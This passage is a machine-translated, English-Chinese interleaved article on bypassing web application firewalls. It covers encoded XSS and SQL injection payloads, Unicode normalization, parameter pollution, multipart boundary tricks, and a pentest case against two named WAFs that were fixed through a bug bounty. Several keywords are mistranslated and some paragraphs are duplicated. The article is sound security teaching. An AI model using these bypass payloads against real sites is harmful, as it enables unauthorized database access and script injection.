    &#x6A (&#x6A)

    or

    要么

    &#x000006A (&#x000006A)

    .

    There’s also a trick with escaping characters with a backslash

    用反斜杠转义字符还有一个技巧

    \ (\)

    , for example:

    , 例如:

    <svg/on\load=a\lert(1)>

    Though, it depends on how a web app processes such input data. So, the sequence

    不过,这取决于Web应用程序如何处理此类输入数据。 所以,顺序

    \ l (\l)

    will be processed as an

    将作为

    (l)

    and transformed into a single symbol; WAF can process each symbol separately and it can break regular expressions or another WAF logic. Thus, WAF will miss the keywords. Using this technique we cannot escape characters

    并转换为单个符号; WAF可以分别处理每个符号,并且可以破坏正则表达式或其他WAF逻辑。 因此,WAF将丢失关键字。 使用这种技术,我们无法转义字符

    \ n (\n)

    ,

    \ r (\r)

    ,

    \ t (\t)

    , as they’ll be transformed into different characters: new line, carriage return, and tab.

    ,因为它们将转换为不同的字符:换行符,回车符和制表符。

    HTML-encode may be used inside tag attributes, for example:

    HTML编码可以在标记属性内使用,例如:

    <a href="javascript&colon;alert(1)">clickme</a>
    <input/onmouseover="javascript&colon;confirm&lpar;1rpar;">

    These characters can be easily replaced by another HTML representations of target characters. You can look up different transformations of characters here.

    这些字符可以很容易地用目标字符的另一个HTML表示代替。 您可以在此处查找字符的不同转换。

    Besides HTML encode, we can insert characters with

    除了HTML编码外,我们还可以使用

    \ u (\u)

    :

    <a href="javascript:\u0061lert(1)">Clickme</a>
    <svg onload=confir\u006d(1)>

    Let’s also look at the vector related to inserting special character. Let’s break payload with HTML encode:

    我们还要看一下与插入特殊字符有关的向量。 让我们用HTML编码打破有效载荷:

    <a href="ja&Tab;vas&#x0000A;cript:alert(1)">clickme</a>

    In this case, we can also place other separating characters.

    在这种情况下,我们还可以放置其他分隔字符。

    Thus, we recommend combining different encodings with other methods, for example, to encode special characters.

    因此,我们建议将不同的编码与其他方法结合使用,例如,对特殊字符进行编码。

    搜索非典型的等效句法结构 (Search for atypical equivalent syntactic structures)

    This method aims at finding a way of exploitation not considered by the WAF developers, or a vector which was not present in the machine learning training sample. Simple examples would be JavaScript functions:

    该方法旨在找到WAF开发人员未考虑的开发方式,或者找到机器学习训练样本中不存在的向量。 简单的例子是JavaScript函数:

    这是最重要的自我,父母,框架; (this, top self, parent, frames;)

    tag attributes:

    标签属性:

    数据绑定,切换,onfilterchange,onbeforescriptexecute,onpointerover,srcdoc; (data-bind, ontoggle, onfilterchange, onbeforescriptexecute, onpointerover, srcdoc;)

    and SQL operators:

    和SQL运算符:

    lpad,字段,bit_count (lpad, field, bit_count)

    .

    Here are some examples:

    这里有些例子:

    <script>window['alert'](0)</script>
    <script>parent['alert'](1)</script>
    <script>self['alert'](2)</script>
    SELECT if(LPAD(' ',4,version())='5.7',sleep(5),null);

    You can also use the non-symbolic representation of JavaScript expressions:

    您还可以使用JavaScript表达式的非符号表示形式:

    An obvious problem with that is long payloads.

    一个明显的问题是有效载荷长。

    WAF bypass with this technique depends on the attack and the exploited stack of technologies. The famous ImageTragick exploit is a good example of that. Most WAFs that protect from this attack had blacklisted keywords like

    使用此技术的WAF旁路取决于攻击和被利用的技术堆栈。 著名的ImageTragick漏洞利用就是一个很好的例子。 大多数可以防止这种攻击的WAF都有将其列入黑名单的关键字,例如

    网址 (url)

    ,

    容量 (capacity)

    , and

    标签 (label)

    since those words were mentioned in the majority of papers and PoCs describing this vulnerability. Though it was soon revealed that other keywords may be used too, for example,

    因为在描述此漏洞的大多数论文和PoC中都提到了这些词。 尽管很快发现,也可以使用其他关键字,例如,

    短暂的 (ephemeral)

    and

    潘戈 (pango)

    . As a result, WAFs could be bypassed with the use of these keywords.

    。 结果,可以使用这些关键字来绕过WAF。

    HTTP参数污染(HPP)和HTTP参数碎片(HPF) (HTTP Parameter Pollution (HPP) and HTTP Parameter Fragmentation (HPF))

    The HPP attack is based on how a server interprets parameters with the same names. Here are some possible bypasses:

    HPP攻击基于服务器如何解释具有相同名称的参数。 以下是一些可能的绕过方法:

    • The server uses the last received parameter, and WAF checks only the first;

      服务器使用最后一个接收到的参数,而WAF仅检查第一个;
    • The server unites the value from similar parameters, and WAF checks them separately.

      服务器将来自类似参数的值组合在一起,然后WAF分别检查它们。

    You can compare how different servers process the same parameters in the table below:

    您可以在下表中比较不同服务器如何处理相同参数:

    In its turn, the HPF attack is based on a different principle. If a web app’s logic unites two and more parameters in a request, the adversary can divide the request to bypass certain WAF checks.

    反过来,HPF攻击是基于不同的原理。 如果Web应用程序的逻辑在请求中组合了两个或更多参数,则对手可以将请求划分为绕过某些WAF检查的方式。

    The following SQL injection is an example of such an attack:

    以下SQL注入是此类攻击的示例:

    http://test.com/url?a=1+select&b=1+from&c=base

    HPF and HPP are very similar, but the first targets a web app, and the latter the environment it operates in. Combining these techniques increases the chance of bypassing a WAF.

    HPF和HPP非常相似,但是第一个针对Web应用程序,第二个针对Web应用程序在其中运行的环境。将这些技术结合起来可以增加绕过WAF的机会。

    Unicode规范化 (Unicode normalization )

    Unicode Normalization is a feature of Unicode meant for comparing Unicode symbols that look alike. For example, symbols

    Unicode规范化是Unicode的一项功能,旨在比较相似的Unicode符号。 例如符号

    ª ('ª')

    and

    ('ᵃ')

    has different codes but are very similar otherwise, so after normalization they both will look like a simple

    具有不同的代码,但在其他方面却非常相似,因此在归一化之后,它们看起来都像是简单的

    '一个' ('a')

    and considered to be the same. Normalization allows transforming some complex Unicode-symbols into their simpler alternatives. There is a

    并认为是相同的。 规范化允许将一些复杂的Unicode符号转换为更简单的替代方案。 有一个

    具有所有Unicode符号及其可能的规范化的Unicode normalization table with all Unicode symbols and their possible normalizations. Using it, you can make different payloads and combine them with other methods. Although, it doesn’t work for all web applications and very dependent on the environment. Unicode规范化表 。 使用它,您可以制作不同的有效负载,并将它们与其他方法结合在一起。 但是,它不适用于所有Web应用程序,并且非常依赖于环境。

    For example, in the table above, we can see that symbols

    例如,在上表中,我们可以看到符号

    ()

    and

    ()

    transforms into simple

    变成简单

    < (<)

    . If an app uses HTML encoding after normalization, then most likely the normalized symbol

    。 如果应用在规范化后使用HTML编码,则很有可能是规范化的符号

    < (<)

    will be encoded into

    将被编码为

    &lt; (&lt;)

    . But, in other cases, developers may have overlooked this feature and not encoded Unicode symbols. Тhus, we get non-HTML-encoded symbols

    。 但是,在其他情况下,开发人员可能忽略了此功能,而不是编码的Unicode符号。 Тhus,我们得到了非HTML编码的符号

    < (<)

    and

    > (>)

    , which can be turned into XSS attack. WAF may have trouble with understanding Unicode symbols – it may simply doesn’t have rules for such tricks, and the machine learning may also be useless. While finding a bypass in web apps with Unicode normalization, we can replace not only

    ,这可以变成XSS攻击。 WAF在理解Unicode符号方面可能会遇到麻烦-它可能根本没有此类技巧的规则,并且机器学习也可能没有用。 在使用Unicode规范化在Web应用程序中找到旁路时,我们不仅可以替换

    <> (< >)

    but other symbols from payload as well.

    但是有效载荷中的其他符号也是如此。

    For example:

    例如:

    <img src﹦x onerror=alert︵1)>

    Recently, this problem was found at Rockstar BugBounty program at HackerOne. There was no WAF, only strict user input filtering:

    最近,在HackerOne的Rockstar BugBounty程序中发现了此问题。 没有WAF,只有严格的用户输入过滤:

    hackerone.com/reports/231444hackerone.com/reports/231444 hackerone.com/reports/231389hackerone.com/reports/231389

    令牌破坏者 (Token breakers)

    Attacks on tokenizers attempt to break the logic of splitting a request into tokens with the help of the so-called token breakers. Token breakers are symbols that allow affecting the correspondence between an element of a string and a certain token, and thus bypass search by signature. But when using token breaker, the request must remain valid. The following request is an example of an attack using a token breaker

    对令牌生成器的攻击试图借助所谓的令牌破坏器打破将请求拆分为令牌的逻辑。 令牌破坏符是允许影响字符串元素和某个令牌之间的对应关系的符号,因此可以绕过签名进行搜索。 但是,当使用令牌破坏器时,请求必须保持有效。 以下请求是使用令牌破坏器进行攻击的示例

    SELECT-@1,version()

    where

    哪里

    -@ (-@)

    is the token breaker.

    是令牌破坏者。

    There is a chear sheet that was acquired by mysql fuzzing and checking the results in libinjection.

    有一个chear片 ,是由MySQL的起毛和检查libinjection结果获得的。

    More about finding issues in libinjection:

    有关发现libinjection问题的更多信息:

    Another fuzzer另一个模糊器 Fuzz to bypass模糊测试 How to bypasss libinjection如何绕过libinjection

    使用RFC的功能 (Using the features of RFC)

    In the specifications for the HTTP/1.1 protocol and various request types (e.g. multipart/form-data), we can find some curious things related to the boundary cases and tricks of processing headers and parameters. WAF developers often do not consider such issues, hence a WAF may parse a request incorrectly and miss the part of data, where an attack vector is hidden. Most problems in WAFs are related to the processing of multipart/form-data and specific values of the boundary parameter, which specifies parameter boundaries in such requests. Besides that, server developers may err as well and not support specifications entirely, so there may be undocumented features in a server’s HTTP parser.

    在HTTP / 1.1协议的规范和各种请求类型(例如multipart / form-data)中,我们可以发现一些与边界情况以及处理标头和参数的技巧有关的奇特的东西。 WAF开发人员通常不会考虑此类问题,因此WAF可能会错误地解析请求,并丢失部分隐藏了攻击媒介的数据。 WAF中的大多数问题与多部分/表单数据的处理以及边界参数的特定值有关,边界参数指定了此类请求中的参数边界。 除此之外,服务器开发人员可能也会犯错,并且不完全支持规范,因此服务器的HTTP解析器中可能存在未记录的功能。

    In an HTTP request with multipart/form-data, parameter boundary is in charge of segregation of different parameters in the body of a request. According to the RFC, a previously specified boundary with a prefix containing “--” has to be put before each new POST parameter, so that the server is able to discriminate the different parameters of a request.

    在具有multipart / form-data的HTTP请求中,参数边界负责在请求正文中隔离不同的参数。 根据RFC,必须在每个新的POST参数之前放置一个前缀包含“-”的预先指定的边界,以便服务器能够区分请求的不同参数。

    POST /vuln.php HTTP/1.1
    Host: test.com
    Connection: close
    Content-Type: multipart/form-data; boundary=1049989664
    Content-Length: 192
    
    --1049989664
    Content-Disposition: form-data; name="id"
    
    287356 
    --1049989664--

    The attack may also be based on the fact that a server and a WAF differently handle a situation where boundary is left empty. According to the RFC, in this case, “--” is the boundary between parameters. Nevertheless, a WAF may use a parser that doesn’t consider that, and, as a result, the WAF will pass the request because the data from the parameters of a POST request wouldn’t appear in the analyzer. The web server can parse such a request without problems and hand the data over for further processing.

    该攻击还可能基于以下事实:服务器和WAF不同地处理边界留空的情况。 根据RFC,在这种情况下,“-”是参数之间的边界。 但是,WAF可能会使用不考虑该解析器的解析器,因此,WAF将传递请求,因为POST请求参数中的数据不会出现在分析器中。 Web服务器可以毫无问题地解析此类请求,并将数据移交给进一步处理。

    Here are some more interesting examples.

    这是一些更有趣的例子。

    POST /vuln.php HTTP/1.1
    Host: test.com
    Connection: close
    Content-Type: multipart/form-data; boundary=
    Content-Length: 192
    
    --
    Content-Disposition: form-data; name="id"
    
    123' or sleep(20)# 
    ----

    We will give some more interesting examples from slides by Bo0oM at ZeroNights 2016 and explain it:

    我们将从BoooM在ZeroNights 2016的幻灯片中给出一些更有趣的示例,并对其进行解释:

    POST /vuln.php HTTP/1.1 
    Host: test.com
    Content-Type: multipart/form-data; boundary=FIRST;
    Content-Type: multipart/form-data; boundary=SECOND;
    Content-Type: multipart/form-data; boundary=THIRD;
    
    --THIRD 
    Content-Disposition: form-data; name=param 
    
    UNION SELECT version()
    --THIRD--

    In this attack, we’re trying to define which one of the boundary parameters will be accepted by the WAF and which by the web server. Thus, if they’ll accept different parameters, it’s possible to perform an attack by specifying a boundary which the WAF won’t see. This attack is somewhat like HPP.

    在这种攻击中,我们试图定义WAF接受哪些边界参数以及Web服务器接受哪些边界参数。 因此,如果他们接受不同的参数,则可以通过指定WAF无法看到的边界来执行攻击。 这种攻击有点像HPP。

    POST /vuln.php HTTP/1.1 
    Host: test.com
    Content-Type: multipart/form-data; xxxboundaryxxx=FIRST; boundary=SECOND;
    
    --FIRST 
    Content-Disposition: form-data; name=param 
    
    UNION SELECT version()
    --FIRST--

    This attack is based on the assumption that there is a difference in the parsing of an HTTP request by the WAF and by the web server. Namely, the web server’s parser looks for the first ‘boundary’ entry, and then for ‘=’ symbol, and only after that defines the value of boundary. The WAF parser, in its turn, only looks for “boundary=” entry and then defines boundary. If these conditions are met, the WAF won’t find the boundary in the request, and hence it won’t be able to find and analyze the parameter. On the contrary, the web server will get the request and process the parameter. This attack will also work the other way around: web server parser looks for “boundary=”, and WAF parser looks just for ‘boundary’. In this case, we will only have to change the real boundary from FIRST to SECOND.

    此攻击基于以下假设:WAF和Web服务器在解析HTTP请求方面存在差异。 即,Web服务器的解析器先寻找第一个“边界”条目,然后寻找“ =”符号,然后才定义边界的值。 反过来,WAF解析器仅查找“ boundary =”条目,然后定义边界。 如果满足这些条件,则WAF将不会在请求中找到边界,因此将无法找到和分析参数。 相反,Web服务器将获取请求并处理参数。 该攻击也将以其他方式起作用:Web服务器解析器将查找“ boundary =”,而WAF解析器将仅查找“ boundary”。 在这种情况下,我们只需要将实际边界从FIRST更改为SECOND。

    POST /somepage.php HTTP/1.1 
    Host: test.com
    Content-Type: multipart/form-data; boundary=Test0x00othertext; 
    
    --Test 
    Content-Disposition: form-data; name=param 
    Attack
    --Test--

    This attack also uses special characters. In the boundary parameter, we added NULL-byte so that the web server would cut it off, but the WAF would accept it in full. In this case, WAF cannot analyze the parameter because it cannot find its boundaries.

    此攻击还使用特殊字符。 在boundary参数中,我们添加了NULL字节,以便Web服务器将其切断,但WAF会完全接受它。 在这种情况下,WAF无法分析参数,因为它无法找到其边界。

    绕过机器学习 (Bypassing machine learning)

    The logic is simple: we have to compose an attack that would satisfy the parameters of the trained statistical model. But that’s highly dependent on how the WAF was trained and what training model was used. Sometimes it’s possible to find a loophole, and sometimes it’s not. Usually, at the stage of implementation, a WAF with machine learning needs extra training based on the request to the client’s web application. That poses a problem for pentesters: parameters that look alike and don’t change much from request to request cannot be tested, as any digression from the usual parameter form would be considered an anomaly. Let’s say way have a request to

    逻辑很简单:我们必须构成一种满足训练后的统计模型参数的攻击。 但这高度依赖于WAF的培训方式和使用的培训模型。 有时可能会发现漏洞,有时则不会。 通常,在实施阶段,具有机器学习功能的WAF需要根据对客户Web应用程序的请求进行额外的培训。 这给渗透测试者带来了一个问题:看起来相似且在请求之间变化不大的参数无法进行测试,因为与常规参数形式的任何偏离都将被视为异常。 假设有一个要求

    api.test.com/getuser?id=123 (api.test.com/getuser?id=123)

    . Parameter id is always numeric, and it was numeric in the training sample. If the machine learning module finds something besides numbers in this parameter, it will most likely decide that it is an anomaly. Another example: suppose that WAF was trained to classify POST request to

    。 参数id始终为数字,在训练样本中为数字。 如果机器学习模块在此参数中找到数字以外的内容,则很可能会确定这是异常情况。 另一个示例:假设WAF受过训练,可以将POST请求分类为

    api.test.com/setMarkDown (api.test.com/setMarkDown)

    with POST parameters that have markdown text. Obviously, there may be quotation marks, special symbols, and basically anything in the markdown. In this case, it is way easier to bypass the machine learning module because the WAF tolerates quotes and special symbols.

    具有包含降价文字的POST参数。 显然,降价中可能包含引号,特殊符号以及基本上所有内容。 在这种情况下,绕过机器学习模块会更容易,因为WAF可以接受引号和特殊符号。

    Additionally, on the examples from our practice, we’ll show that it doesn’t always go as far as the machine learning module due to the problems with the parsing of parameters caused by the bypass methods described above.

    此外,在我们的实践示例中,我们将显示由于上述绕过方法导致的参数解析问题,它并不总是能到达机器学习模块。

    In general, we have to consider the specifics of a tested request and its parameters, presume any possible options of parameters’ values, which WAF may be tolerant to, and build on those.

    通常,我们必须考虑经过测试的请求及其参数的细节,假定WAF可以容忍的参数值的任何可能选项,并以此为基础。

    WAF什么时候没用? (When WAF is useless?)

    WAF analyzes requests and looks for anomalous behavior in them, but there are some classes of vulnerabilities which it cannot discover. For example, logic vulnerabilities, which don’t have anomalies but have some actions that disrupt a web app’s logic. Most likely, WAF would be also useless in case of race condition, IDOR, and insecure user authentication.

    WAF会分析请求并查找其中的异常行为,但是它无法发现某些类别的漏洞。 例如,逻辑漏洞,它没有异常,但是有一些动作会破坏Web应用程序的逻辑。 在竞争情况,IDOR和不安全的用户身份验证的情况下,WAF最有可能也是无用的。

    现有实用程序 (Existing utilities)

    There are some automatic tools for finding WAF bypasses, written by the enthusiasts in this field. Here are the most famous and worthy ones:

    有一些自动工具可以找到WAF旁路,由该领域的爱好者编写。 以下是最著名和最有价值的:

    lightbulb-framework — a whole framework for testing web apps protected with WAF. It is written on Python and additionally ported as a plugin for Burp Suite. Its main features are these two algorithms:灯泡框架 -用于测试受WAF保护的Web应用程序的整个框架。 它是用Python编写的,另外还被移植为Burp Suite的插件。 它的主要特征是以下两种算法:
    • GOFA — an active machine learning algorithm that allows analyzing the filtration and sanitization of parameters in a web app.

      GOFA —一种主动的机器学习算法,可以分析Web应用程序中参数的过滤和清理。
    • SFADiff — deferential black box testing algorithm, based on training with symbolic finite automats (SFA). It allows finding differences in the behavior of web apps which helps to identify WAF and find a bypass.

      SFADiff —差分黑盒测试算法,基于使用符号有限自动机(SFA)进行的训练。 它允许发现Web应用程序行为的差异,这有助于识别WAF并找到旁路。
    Bypass WAF – a plugin for Burp Suite, which allows setting up automatic changing of the elements in the body of a request according to different rules and encoding changes. It also can automate an HPP attack. 绕过WAF – Burp Suite的插件,它允许根据不同的规则和编码更改设置请求正文中元素的自动更改。 它还可以自动执行HPP攻击。 WAFW00F — a tool for WAF identification, written on Python. It has a decent WAF base and is still being updated. Though, the results may be imprecise because many WAFs are updated more frequently than the project itself. WAFW00F —用Python编写的WAF识别工具。 它的WAF基础不错,并且仍在更新中。 但是,由于许多WAF的更新频率比项目本身的更新频率高,因此结果可能不准确。

    在实践中绕过WAF (Bypassing WAF in practice)

    We have been running penetration test of an online store, whose was protected by

    我们一直在对一家在线商店进行渗透测试,该商店受到

    自动对焦 (PT AF)

    (Positive Technologies Application Firewall). It was hard to find a weak spot, which could be a base for a bypass. But soon we’ve discovered unusual behavior on the side of the web app, which was not filtered by the WAF. The anomaly was found in the search in the history of bought goods. The request was sent in JSON format and looked like that:

    (正技术应用程序防火墙)。 很难找到一个弱点,这可能是绕过的基础。 但是很快我们就发现了Web应用程序一侧的异常行为,该行为未被WAF过滤。 在购买商品的历史搜索中发现了异常。 该请求以JSON格式发送,如下所示:

    {"request":{"Count":10,"Offset":0,"ItemName":"Phone"}}

    We placed

    我们放置

    电话' (Phone’)

    and

    电话'+' (Phone’+’)

    , values into the

    ,将值放入

    项目名称 (ItemName)

    parameter and found that the server returned different responses for these two requests. In the first case, the response was empty; in the second case, it contained data on other goods with the word

    参数,发现服务器对这两个请求返回了不同的响应。 在第一种情况下,响应为空; 在第二种情况下,它包含有关其他商品的数据,其单词为

    电话 (Phone)

    in their name, as if parameter

    以他们的名字,就像参数

    项目名称 (ItemName)

    had

    电话 (Phone)

    as its value. This kind of behavior is well known among hackers and pentesters and points to the app’s a problem with the filtration of user input, which leads to SQL injection among others.

    作为其价值。 这种行为在黑客和渗透测试者中是众所周知的,并指出该应用程序存在用户输入过滤问题,这会导致SQL注入。

    Let’s see why this happens with an SQL injection example. If such behavior is found in a web application, then it’s highly likely that the data for an SQL request is in concatenation with the request itself. In the first case, with

    让我们看看为什么在SQL注入示例中会发生这种情况。 如果在Web应用程序中发现了这种行为,则SQL请求的数据很可能与请求本身串联在一起。 在第一种情况下,

    电话' (Phone’)

    parameter, we’ll have the following SQL query:

    参数,我们将具有以下SQL查询:

    SELECT item FROM items WHERE item_name=’Phone’’

    Obviously, it won’t be executed due to incorrect syntax and won’t return any result. The second request, with

    显然,由于语法错误而不会执行,也不会返回任何结果。 第二个要求

    电话'+' (Phone’+’)

    parameter, will look like this:

    参数,如下所示:

    SELECT item FROM items WHERE item_name=’Phone’+’’

    Its syntax is correct, so it will select goods by the name

    它的语法正确,因此它将按名称选择商品

    电话 (Phone)

    . This method of detecting vulnerabilities has a huge advantage while testing a web app protected by WAF. Single quote symbol is not considered to be a sufficient anomaly in a parameter by most modern WAFs, so they pass a request with it.

    。 在测试受WAF保护的Web应用程序时,这种检测漏洞的方法具有巨大优势。 大多数现代WAF都不认为单引号符号在参数中是足够的异常,因此它们会传递一个请求。

    We’ve described vulnerability detection, but what about bypassing WAF and exploiting the vulnerability? After going through some bypasses, we found a problem in the WAF. It turned out that this WAF is vulnerable to special characters added to JSON parameters. In fact, if we added JSON symbols

    我们已经描述了漏洞检测,但是绕过WAF并利用漏洞怎么办? 经过一些绕过之后,我们在WAF中发现了一个问题。 事实证明,此WAF容易受到添加到JSON参数中的特殊字符的影响。 实际上,如果我们添加JSON符号

    0x0A,0x0D (0x0A,0x0D)

    (\r\n or carrige reutrn and new line) in raw format, without any encoding, into any text field, the WAF would pass it, and the web app would consider it to be correct and process it. Most likely, the problem was in the JSON parser, which was not made for special symbols and parsed JSON right until a place where these symbols would appear. Thus, WAF analyzer would not get the full request, so we could insert any attack vector after special characters. Besides line break, other characters (e.g. NULL-byte) would also work. As a result, we could write the following request, which would turn off the WAF as it tried to check this request (line break and carriage return were replaced with their textual representation):

    (\ r \ n或carrige reutrn和换行符)以原始格式(不进行任何编码)输入任何文本字段,WAF会将其传递,并且Web应用程序将认为它是正确的并对其进行处理。 问题很可能出在JSON解析器中,该解析器不是用于特殊符号的,而是在出现这些符号的地方才解析JSON的。 因此,WAF分析器无法获得完整的请求,因此我们可以在特殊字符后插入任何攻击向量。 除换行符外,其他字符(例如NULL字节)也可以使用。 结果,我们可以编写以下请求,这将在WAF尝试检查该请求时将其关闭(换行符和回车符用其文本表示形式代替):

    {"request":{"kill-waf":"die0x0A0x0D", "Count":10,"Offset":0,"ItemName":["'+(SELECT 'Phone'+CHAR(ASCII(substring(@@version,1,1))-24))+'"]}}
    0x0A and 0x0D is a raw bytes.0x0A和0x0D是原始字节。

    Thus, we could easily and quickly test all parameters for any vulnerabilities (a couple of them were found in other parameters). Bypassing WAF and exploiting this injection allowed us to totally compromise all users of the web application.

    因此,我们可以轻松快捷地测试所有参数的任何漏洞(在其他参数中发现了其中的几个)。 绕过WAF并利用此注入使我们完全可以损害Web应用程序的所有用户。

    The same problems were also found in

    也发现了同样的问题

    Nemesida WAF (Nemesida WAF)

    . The only difference is, the request was not in JSON encoding, but it was a usual POST request with parameters, and a parameter was concated to the SQL query as a number. If some symbols were placed in a request in url-encode, for example,

    。 唯一的区别是,该请求不是采用JSON编码的,而是带有参数的常规POST请求,并且参数已作为数字包含在SQL查询中。 例如,如果某些符号以url编码放置在请求中,

    %03%04 (%03%04)

    then WAF blocks a request, but if symbols were placed in raw form without url-encoding then WAF overlooks this request. It is worth noting, that the normal SQL-expression was placed to request as well as in previous WAF. SQL-expression was simple

    然后WAF阻止请求,但是如果将符号以原始形式放置而不进行url编码,则WAF将忽略此请求。 值得注意的是,在以前的WAF中都放置了普通SQL表达式来进行请求。 SQL表达式很简单

    “联盟选择” (‘UNION SELECT’)

    without any additional obfuscation, which means that WAF simply could not parse the request correctly and pass on the analysis further. But there is one problem – how to make SQL-query syntax correct? Because using special characters like

    没有任何其他混淆,这意味着WAF根本无法正确解析请求并进一步进行分析。 但是有一个问题–如何使SQL查询语法正确? 因为使用特殊字符,例如

    %03%04 (%03%04)

    in SQL-query isn’t correct. Answer is simple — we just need to use comments /**/. So, the result request looked like:

    在SQL查询中是不正确的。 答案很简单-我们只需要使用注释/ ** /。 因此,结果请求如下所示:

    /*0x03 0x04*/1 UNION SELECT version(), user() --
    0x03 and 0x04 is a raw bytes.0x03和0x04是原始字节。

    Also, another problem was found in Nemesida WAF. It was related to incorrect processing of POST requests with multipart/form-data. As we described below, in an HTTP request with multipart/form-data, parameter

    另外,在Nemesida WAF中发现了另一个问题。 这与对带有多部分/表单数据的POST请求的不正确处理有关。 如下所述,在具有multipart / form-data的HTTP请求中,参数

    边界 (boundary)

    is in charge of segregation of different parameters in the body of a request. According to the RFC, a previously specified boundary with a prefix containing

    负责在请求正文中隔离不同的参数。 根据RFC,先前指定的边界带有前缀,其中包含

    “-” (“--”)

    has to be put before each new POST parameter, so that the server is able to discriminate the different parameters of a request.

    必须将其放置在每个新的POST参数之前,以便服务器能够区分请求的不同参数。

    So, the problem was that the server and WAF handled the situation differently when the boundary parameter was empty. Based on the RFC, in such a situation the boundary between the parameters will be a sequence of characters

    因此,问题是当边界参数为空时,服务器和WAF对情况的处理方式不同。 基于RFC,在这种情况下,参数之间的边界将是一个字符序列

    “-” (“--”)

    . However, WAF used a parser that does not take into account this feature, which is why WAF again pass the request, because the data from the POST request parameters simply did not get into the analyzer module, and the server parsed this situation without any problems and transferred the data further to processing. This is an sample request for this attack:

    。 但是,WAF使用的解析器没有考虑到此功能,这就是WAF再次传递请求的原因,因为POST请求参数中的数据根本没有进入分析器模块,服务器对此情况进行了解析,没有任何问题并将数据传输到进一步处理。 这是对此攻击的示例请求:

    POST /wp-content/plugins/answer-my-question/modal.php HTTP/1.1
    Host: example.com
    Content-Type: multipart/form-data; boundary=
    Content-Length: 209
    
    --
    Content-Disposition: form-data; name="id"
    
    1 UNION SELECT 1,2,3,CONVERT(version() USING utf8) AS name,CONVERT(user() USING utf8) AS name,6,7,8,9,10,11,12 FROM wp_users WHERE id=1
    ----

    Both problems were reported to Pentestit, the guys paid a reward for their bug bounty program for Nemesida WAF, and fixed the problems as soon as possible. Thank them for that.

    这两个问题都已报告给Pentestit,他们为Nemesida WAF的漏洞赏金计划提供了奖励,并尽快解决了这些问题。 谢谢他们。

    As we can see, WAFs may be modern and smart, but sometimes it’s possible to bypass them just by adding a single special character. Today we cannot foresee all possible kinds of input data for all servers at the stage of development, and machine learning, implemented to do exactly that, stumbles upon parsers that get stuck with special characters.

    正如我们所看到的,WAF可能是现代而智能的,但是有时可以通过添加单个特殊字符来绕开它们。 Today we cannot foresee all possible kinds of input data for all servers at the stage of development, and machine learning, implemented to do exactly that, stumbles upon parsers that get stuck with special characters.

    结论 (Conclusion )

    So, should we entirely rely on WAF? So, should we entirely rely on WAF?

    The answer is NO. ( The answer is NO.)

    In one of our audits, we’ve discovered a WAF bypass that allowed us to exploit some vulnerabilities. As it turned out, the developers had already performed an audit of the web app, before it was protected by WAF, and it revealed the same vulnerabilities. Instead of fixing them, they decided to buy a modern WAF equipped with machine learning. It is a pity that the WAF’s vendor did not insist on fixing the vulnerabilities first; or perhaps the developers themselves thought that WAF would be a better option. We do not know for sure though. Either way, this is an example of a very bad practice, on part of both the developers and the vendor. It also should be noted that machine learning is still a black box and looks more like a marketing device than a real defense.

    In one of our audits, we've discovered a WAF bypass that allowed us to exploit some vulnerabilities. As it turned out, the developers had already performed an audit of the web app, before it was protected by WAF, and it revealed the same vulnerabilities. Instead of fixing them, they decided to buy a modern WAF equipped with machine learning. It is a pity that the WAF's vendor did not insist on fixing the vulnerabilities first; or perhaps the developers themselves thought that WAF would be a better option. We do not know for sure though. Either way, this is an example of a very bad practice, on part of both the developers and the vendor. It also should be noted that machine learning is still a black box and looks more like a marketing device than a real defense.

    In general, WAF is a modern security solution, and it won’t hurt having it with your web applications. Although today, it can only hinder the process of vulnerability search and exploitation, but it cannot protect from them altogether. As thing stand, this is the state of the art for quite a while. Vulnerabilities in web apps can only be fixed by correcting the code related to them, and that’s the only foolproof solution.

    In general, WAF is a modern security solution, and it won't hurt having it with your web applications. Although today, it can only hinder the process of vulnerability search and exploitation, but it cannot protect from them altogether. As thing stand, this is the state of the art for quite a while. Vulnerabilities in web apps can only be fixed by correcting the code related to them, and that's the only foolproof solution.

    贡献者 (Contributors)

    Ilia Bulatov Ilia Bulatov barracud4 barracud4 Denis Rybin Denis Rybin thefaeriedragon thefaeriedragon Alexander Romanov Alexander Romanov web_rockweb_rock

    翻译自: https://habr.com/en/company/dsec/blog/454592/

    主流waf非主流waf

    展开全文
  • WAF Setting

    2020-11-21 01:24:41
    ve a question about the waf setting, after the installation of waf on the server, how we can manage it via web interface? and does the waf uses only apache module security and what about evasive ...
  • WAF Problems

    2021-01-11 05:00:04
    <div><p>I had tried to build a WAF template, but when I like build template, I have the next error: TypeError: : None.FieldToMatch is , expected <p>My code: from troposphere import waf from ...
  • WAF detection

    2020-12-26 15:00:00
    <div><p>It might be interesting to add some Web Application Firewall detection techniques...s an <code>nmap</code> script for WAF detection)</li></ul>该提问来源于开源项目:trailofbits/twa</p></div>
  • WatchGuard waf

    2020-12-08 18:51:46
    <div><p>This WAF is missing if your WAF list, for help there is how to detect it: <p>Detection Methodology: - <code>Server</code> headers may contain <code>WatchGuard</code> field value. - Blocked ...
  • 一、什么是WafWaf的全拼为:Web Application Firewall,顾名思义Waf是一款专针对Web应用攻击的防护产品。当Web应用越来越丰富的同时,大部分交互都转移到了Web上,与此同时Web也成为了主要的攻击目标,此时Waf...
  • waf firewall

    2020-12-26 13:08:52
    <div><p>waf Firewall reverse proxy, scoreboard could not be refreshed, guessing it was a websocket problem</p><p>该提问来源于开源项目:moloch--/RootTheBox</p></div>
  • <div><p>Are you aware of <a href="https://github.com/p0pr0ck5/lua-resty-waf">lua-resty-waf</a> by ? A LUA based WAF. <h2>Performance <p>lua-resty-waf was designed with efficiency and scalability in ...
  • Waf update

    2020-11-22 19:41:32
    <div><p>This is a PR for the waf update (issue #399). <p>Need to (at least): - [x] add a license file to the waflib directory - [x] restore icon cache updates - [x] new waf dbus needs <code>dbus-...
  • 关于WAF

    2020-02-06 15:49:34
    WAF WAF(Web Application Firewall,web应用防火墙),现在稍微大一点或者具有安全意识的网站管理都会配备WAF,来防止自己的网站受到攻击,我们就来康康现在的waf有哪些。 WAF分类 软件WAF:以软件形式装在所保护...
  • WAF学习

    2020-04-28 20:29:05
    WAF的理解: 过去企业通常采用的防火墙只是在第三层(网络层)有效的阻断一些数据包。 而随着Web服务器成为主要的被攻击目标(第五层应用层),waf(Web Application Firewall)应运而生。 WAF的作用: waf是通过执行...
  • waf简介

    2020-09-06 22:38:34
    Waf (Web Applicatoin Firewall ) web应用防护系统,为web做防护,是安全防护中的第一道防线。 分类:目前主流的waf大约为三种: 硬件web防火墙(用于前端,多部署在服务器中) web防护软件(目前流行的如安全...
